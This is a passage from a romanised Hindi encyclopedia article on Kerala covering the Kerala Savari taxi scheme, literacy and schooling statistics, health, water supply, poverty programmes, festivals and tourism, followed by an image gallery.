'keral savari' sarakar dvara nirdharit dar ke alava keval 8 phisadi seva shulk vasooli karegi jo any aaunalain taiksiyoan mean 20 se 30 phisadi hoti hai. isase jo bhi rashi ikattha hogi, use is pariyojana mean jaroori chijoan ke lie lagaya jaega. 'keral savari yojana' mean shamil hone vale sabhi chalakoan ke lie ek pulis manjoori praman patr anivary kar diya gaya hai. vahian, is aip mean ek painik batan ki bhi suvidha di gee hai, jisaka upayog kisi bhi durghatana ya koee any khatara mahasoos hone par kiya ja sakata hai. keral savari yojana ko poore rajy mean lagoo karane ka nirnay liya gaya hai. philahal, tiruvantapuram nigam sima mean 500 aauto taiksi chalakoan ko is yojana ka sadasy banaya gaya haian, jisake lie vibhinn vibhagoan ke adhikariyoan ne unhean prashikshan pradan kiya hai.

shiksha

1. REDIRECTsaancha:mukhy

[[chitr:Peppara-Dam-Thiruvananthapuram.jpg|thumb|250px|pippara baandh, tiruanantapuram]]

• keral mean akhil bharatiy 65.38 pratishat ki tulana mean 90.92 pratishat (2001 ki janaganana), ki uchh‍ch saksharata dar hai. keral mean ziloan ke bich kottayam zile mean 95.90 pratishat ki uchh‍chatam saksharata dar aur palh‍lak d mean 84.31 pratishat nimh‍natam saksharata dar hai. saksharata daroan mean kshetriy aur laiangik bhedabhav keral mean sabase kam hai.
• zila prathamik shiksha karyakram, sarvashiksha abhiyan ke tahat srijit mool sanrachana aur sh‍thaniy sarakaroan ke yogadan se suvidhaoan ke sudhar mean yogadan mila hai.
• keral mean sat vishh‍vavidyalay aur do manad vishh‍vavidyalay haian. pichhale 5 varshoan mean keral mean takaniki shiksha sansh‍thanoan ki sankhh‍ya mean apar vriddhi huee hai.

prarambhik shiksha

• keral mean 2005 mean kul 12650 sh‍kool the, jinamean se 6827 loar praimari, 3042 apar praimari aur 2781 haeesh‍kool the. isake alava 483 sibiesee sh‍kool, 78 aeesiesee sh‍kool, 27 keandriy vidyalay aur 13 javahar navoday vidyalay the.
• keral mean anudan praph‍t sh‍kool pranali bhi abhi tak vidyaman hai. kul 12650 sh‍kooloan mean se 7287 sahayata praph‍t niji sh‍kool (57.60 pratishat) haian. kul 3042 apar praimari sh‍kooloan mean se 31.36 pratishat sarakari, 61.47 pratishat sahayata praph‍t niji sh‍kool aur 7.17 pratishat gair sahayata praph‍t niji sh‍kool haian. kul 2781 haeesh‍kooloan mean se 35.78 pratishat sarakari, 51.17 pratishat sahayata praph‍t niji tatha 13.05 pratishat gair sahayata praph‍t niji sh‍kool haian.

[[chitr:Vellayani-Lake-Thiruvananthapuram.jpg|thumb|250px|left|velalaini jhil, tiruanantapuram]]

• sh‍vatantrata prapti se ab tak ki sarvadhik mahath‍vakaankshi shaikshik pariyojana sarv shiksha abhiyan ka uddeshh‍y 2010 tak 6 se 14 sal tak ke ayu-varg ke samash‍t bachh‍choan ko upayogi aur prasangik moolabhoot shiksha pradan karana hai.
• 2004-05 mean sarakari aur sahayata praph‍t donoan tarah ke sh‍kooloan mean sanrakshit adhh‍yapakoan ki sankhh‍ya 3148 thi. isamean 524 haeesh‍kool adhh‍yapak, 1904 pidi adhh‍yapak aur 720 vishesh adhh‍yapak the.
• rashh‍triy shiksha niti ke anusar madhh‍yamik sh‍tar ki shiksha ko manh‍yata dene ke lie rajh‍y mean uchh‍chatar madhh‍yamik pathyakram shuroo kiya gaya. pratham charan mean, 1990-91 ke dauran 31 sarakari skooloan ka darja badhakar uchh‍chatar madhh‍yamik sh‍kool bana diya gaya. 2005-06 ke akadamik varsh se uchh‍chatar madhh‍yamik sh‍tar par grediang pranali shuroo kar di gee hai.
• adhik kushal aur rozagaronh‍mukh janashakti taiyar karake rozagar ke adhikadhik avasar jutane ke uddeshh‍y se rajh‍y mean vh‍yavasayik uchh‍chatar madhh‍y‍mik shiksha shuroo ki gee. shuruat mean yah pathyakram 1983-84 mean 19 sarakari sh‍kooloan mean shuroo kiya gaya. 2004-05 mean sh‍vikrit chhatr sankhh‍ya 26874 thi aur vash‍tavik chhatroan ki sankhh‍ya 25382 thi.
• keral mean rajh‍y ke gathan ke samay ki tulana mean 'uchh‍ch shiksha pranali' mean k aaulejoan aur vishh‍vavidyalayoan ki sankhh‍ya ke mamale mean kafi vriddhi huee hai. is pranali mean 7 vi‍shh‍vavidyalay aur 2 manad vidyalay haian. keral ke vishh‍vavidyalay ki amadani ka mukhh‍y srot rajh‍y sarakar se milane vala yojanagat aur gair yojanagat anudan haian. vishh‍vavidyalay ka yojanagat vh‍yay 2003-04 mean 11014.6 lakh roope tha jo 2004-05 mean badhakar 12858.1 lakh rupe ho gaya.

sh‍vash‍thh‍y

thumb|250px|keral ka khana

• keral ne janh‍madar, mrith‍yudar, shishu mrith‍yu dar, prasooti mrith‍yu, janh‍m par ausat ayu tatha tikakaran ke kshetr mean bahut hi achh‍chha sh‍vash‍thh‍y sh‍tar praph‍t kar liya hai. keral mean prati hazar janasankhh‍ya par janh‍m dar 16.90, mrith‍yu dar 6.40, shishu mrith‍yu dar 10, prasooti mrith‍yudar 0.87 thi. yadyapi keral ne behatar sh‍vash‍thh‍y dekhabhal sanketak praph‍t kar lie haian, phir bhi log sankramak aur gair sankramak donoan tarah ki bimariyoan se ash‍vash‍th hote ja rahe haian.
• keral ki sh‍vash‍th pranali mean elopaithi, ayurved aur homh‍yopaithi shamil haian. in tinoan pranaliyoan ke sarakari kshetr mean 2696 sansh‍than haian aur 48834 bish‍tar haian. keral ke tikakaran ka sarvajanik sh‍tar praph‍t kar liya hai. 2004-05 mean bisiji ki kavarej 104.3 pratishat thi. ekatrit aankadoan ke anusar kaiansar ka ilaj karane vale jh‍yada log 55 se 64 varsh ke ayu varg ke the.

pey jalapoorti

• keral mean 2004 - 05 tak 82.59 pratishat shahari tatha 62.24 pratishat gramin logoan ko naloan ka pani upalabh‍dh kara diya gaya. kul milakar 67.52 pratishat logoan ko pani upalabh‍dh karaya gaya. jabaki 2003 - 04 mean yah 65.2 pratishat ke lie tha. 2003-04 mean gramin aur shahari logoan ko jalapoorti kramash: 60 aur 80 pratishat thi. 2004 - 05 mean 7.43 lakh atirikh‍t logoan ko sanrakshit jal upalabh‍dh karaya gaya. isamean se 66887 (9 pratishat) anusoochit jati ke aur 8175 (1 pratishat) anusoochit janajati ke the.

[[chitr:Kannur-Fort-Kerala.jpg|thumb|250px|left|kannoor qila, keral]]

• keral jal apoorti pradhikaran ki 1 aprail 2005 tak 1895 jal apoorti yojanaean karyarat thian. inamean 65 shahari yojanaean, 952 gramin bahu panchayat yojanaean aur 878 gramin ekal panchayat yojanaean thian. 2004-05 mean 40 yojanaean shuroo ki geean jinamean 6 shahari aur 34 gramin thian. keral sarakar ne bahari sahayata se 2 jalapoorti yojanaean shuroo ki haian, ve haian-

1. jebiaeesi se sahayata praph‍t keral jal apoorti pariyojana, aur
2. vishh‍v baiank se sahayata praph‍t keral gramin jalapoorti aur saphaee yojana (jalanidhi)

garibi unh‍moolan

garibi door karane ke lie garibi unh‍moolan karyakram banaya gaya hai. keral sh‍thaniy prashasan aur rajh‍y garibi unh‍moolan mishan dvara lagoo 'kutuanbashri' mean bhag lekar mahath‍vooparn kam kar raha hai. eneseso ke 55 vean charan (1999 - 2000) ke anusar keral mean 9.35 pratishat garibi gramin ilakoan mean aur 20.27 pratishat garibi shahari ilakoan mean hai. 1999 - 2000 ke aank de darshate haian ki keral mean 12.72 pratishat garibi thi, jab ki poore desh mean 26.36 pratishat. 'kutuanbashri' pranali garibi door karane aur isake lie uthae ge qadamoan ki nigarani karata hai. isi karyakram ke vish‍tar ke roop mean ashray namak karyakram keral ke ek tihaee bhag mean lagoo kiya gaya hai jo ath‍yant garib logoan ko samajik suraksha pradan karata hai.

sanskriti

1. REDIRECTsaancha:mukhy

[[chitr:Kathakali-Dance.jpg|thumb|250px|kathakali nrity, keral]] keral ki sanskriti vastav mean bharatiy sanskriti ka abhinn hissa hai. bharatiy upamahadvip ki tarah keral ki sanskriti ka bhi ek puratan itihas hai jo apane ap mean mahattvapoorn hone ka dava karata hai. keral ki sanskriti bhi ek samagr aur mahanagariy sanskriti hai jisamean kee logoan aur jatiyoan ne mahattvapoorn yogadan diya hai. keral ke logoan ke bich samagr aur vividhatavadi sahishnuta aur drishtikon ki udarata ki bhavana ka udvav abhi hai jisase netritv sanskriti ka vikas lagatar jari hai. keral ka itihas saanskritik aur samajik sanshleshan ki ek anokhi prakriya ki romaantik aur akarshan kahani kahata hai. keral ne har chunauti ka maqool javab dete hue pratyek kshetr mean apani pratibha ka behatar pradarshan kiya hai aur sath hi purani paranparaoan aur ne moolyoan ka manaviy tathyoan se sanlayan kiya hai. bharatiy upamahadvip ki tarah keral ki sanskriti ka bhi ek puratan itihas hai jo apane ap mean mahattvapoorn hone ka dava karata hai.

keral ki sanskriti apani puratanata, ekata, nirantarata aur sarvabhaumikata ki prakriti ke karan umr ke hisab se madhyam banae hue hai. isake vyapak arth mean yah jivan ke pratyek kshetr mean manushy ki atma ki sarvochch upalabdhiyoan ko gale lagati hai. kul milakar yah dharm aur darshan, bhasha aur sahity, kala aur sthapaty kala, shiksha aur sikhana aur arthik aur samajik sangathan ke kshetr mean logoan ki samagr upalabdhiyoan ka pratinidhitv karati hai.

tyohar

keral mean anek rangarang th‍yohar manae jate haian. inamean se adhikatar th‍yohar dharmik haian jo hindoo puranoan se prerit haian. [[chitr:Onam.jpg|thumb|250px|left|onam]]

• onam keral ka vishishh‍t th‍yohar hai, jo fasal kataee ke mausam mean manaya jata hai. yah th‍yohar khagolashash‍triy navavarsh ke avasar par ayojit kiya jata hai.
• keral mean navaratri parv sarash‍vati pooja ke roop mean manaya jata hai.
• mahashivaratri ka th‍yohar periyar nadi ke tat par bhavh‍y tarike se manaya jata hai aur isaki tulana kumbh mela se ki jati hai.
• sabarimala ke ayyaph‍pa mandir mean isi dauran makaravilakh‍ku bhi ayojit hota hai. 41 din ke is uth‍sav mean desh-videsh ke lakhoan log sammilit hote haian.
• valamakali ya nauka dau d keral ka apane dhang ka anokha ayojan hai. punh‍namada jhil mean ayojit hone vali neharoo tr aauphi nauka dau d ko chho dakar shesh sabhi nauka dau d uth‍savoan ka koee n koee dharmik mahath‍v hai.
• trisoor ke vadakh‍kumanath mandir mean har varsh aprail mean pooram th‍yohar manaya jata hai, jisamean saje-dhaje hathiyoan ki bhavh‍y shobhayatra nikalati hai aur atishabazi ka pradarshan kiya jata haian.
• krisamas aur eesh‍tar eesaiyoan ka sabase b da th‍yohar haian. pumh‍ba nadi ke tat par har varsh maramon samh‍melan hota hai, jahaan eshiya mean eesaiyoan ka sabase b da jamav da lagata hai.
• musalaman milade shariph, ramazan roze, bakarid aur eed-ul-phitar ka th‍yohar manate haian.

paryatan

1. REDIRECTsaancha:mukhy

thumb|250px|nauka dau d, keral

• paryatan gatividhiyoan ke lie keral mean sh‍thayi aur saphal vriddhi ke lie apekshit vatavaran pahale se vidyaman hai. paryatan kshetr ke lie mahath‍vapoorn tath‍v hai - prakritik sauandary, samanh‍y jalavayu, sh‍vachh‍chh paryavaran, maitri bhav vale shaantipriy log haian jo saansh‍kritik vividhata ke prati behad sahishh‍nu haian aur anoothe paryavaran ko nirmit karane ki kshamata rakhate haian. keral desh mean sarvapriy paryatan sh‍thal ke roop mean ubhara hai. samudr tat, garm mausam, samudri jhilean, parvatiy sh‍thal, jal prapat, vanh‍y jivan, ayurved, varsh bhar th‍yohar tatha vividh pe d paudhe keral ko paryatakoan ke lie ek anootha gantavh‍y sh‍thal banate haian.
• paryatan vibhag, keral paryatan vikas nigam, zila paryatan sanvarddhan parishad, bekal paryatan vikas nigam, sh‍thaniy prashasanoan tatha niji kshetr ki paryatan mean mahath‍vapoorn bhoomika hai. vartaman mean jo mukhh‍y kshetr vikas ke lie dekhe ja rahe hai: ve haian gramin paryatan, mais paryatan (em.aee.si.ee - mitiang, ianseantiv, kanh‍veanshas tatha iveants/ekh‍sibishan tred shoz) yani - baithak, proth‍sahan, samh‍melan aur pradarshaniyaan/vh‍yapar pradarshaniyaan, saansh‍kritik paryatan, virasat paryatan, paryavaran paryatan tatha chikith‍sa paryatan.
• thenamala paryatan suvidha kenh‍dr ke sath paryatan pariyojana hai, jisamean sh aaup kort gardan, ph‍laja, pikanik kshetr, chattan par chadhaee, nadi par ka mukh‍t prekshagrih, resh‍taraan, jhoolate pul, kamal ke talab, sangitamay nrith‍y, phavh‍vare, shilh‍pamoorti vale bag, hiran punarvas keandr, naukayan, baitari chalit vahan adi haian. van vibhag ke samanh‍vay se pakaroovi mean dhaanchagat suvidhaean upalabh‍dh karaee ja rahi haian. varsh 2004-05 mean, 104622 paryatak thenamala paryavaran (iko) paryatan sh‍thal dekhane ge aur 3563820 lakh rupe ki rajash‍v prapti huee.
• rajh‍y mean 2004 mean videshi paryatakoan se videshi mudra mean 1266.77 karo d rupe ki ay huee aur ghareloo paryatakoan se 3881.92 karo d rupe ki ay huee. paryatan se prath‍yaksh aur paroksh roop se kul ay lagabhag 6829 karo d rupe huee. paryatan mean 8 lakh logoan ko rozagar mila hua hai aur prativarsh 500 karo d rupe ka nivesh kiya jata hai.

vithika

• chitr:Vadakkunnathan-Temple.jpg

  vadakh‍kumanath mandir, trisoor

• chitr:Thalasseri-Fort-Kannur.jpg

  thalassari qila, kannoor

• chitr:Houseboat-Kumarakom-Kerala-1.jpg

  hausabot, kumarakom, keral

• chitr:Chandrasekharan-Nair-Football-Stadium.jpg

  chandrashekhar naiyar phutab aaul stediyam, tiruanantapuram

• chitr:Periyar-Lake-Periyar-National-Park.jpg

  periyar jhil, periyar rashtriy udyan

• chitr:South-Indian-Saree.jpg

  saooth silh‍k sa di

• chitr:South-Indian-Mundu.jpg

  muand (dhoti)

• chitr:Houseboat-Kumarakom-Kerala-3.jpg

  hausabot, kumarakom, keral

• chitr:Legislative-Assembly-Of-Kerala.jpg

  keral ki vidhan sabha

• chitr:Kowdiar-Palace-Tiruvananthapuram.jpg

  travanakor mahal (k aaudiyar mahal) , tiruanantapuram

• chitr:Munnar.jpg

  munnar jhil, keral

• chitr:Houseboat-Kumarakom-Kerala-4.jpg

  hausabot, kumarakom, keral

• chitr:Kovalam-Beach-Kerala.jpg

  kovalam bich, keral

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh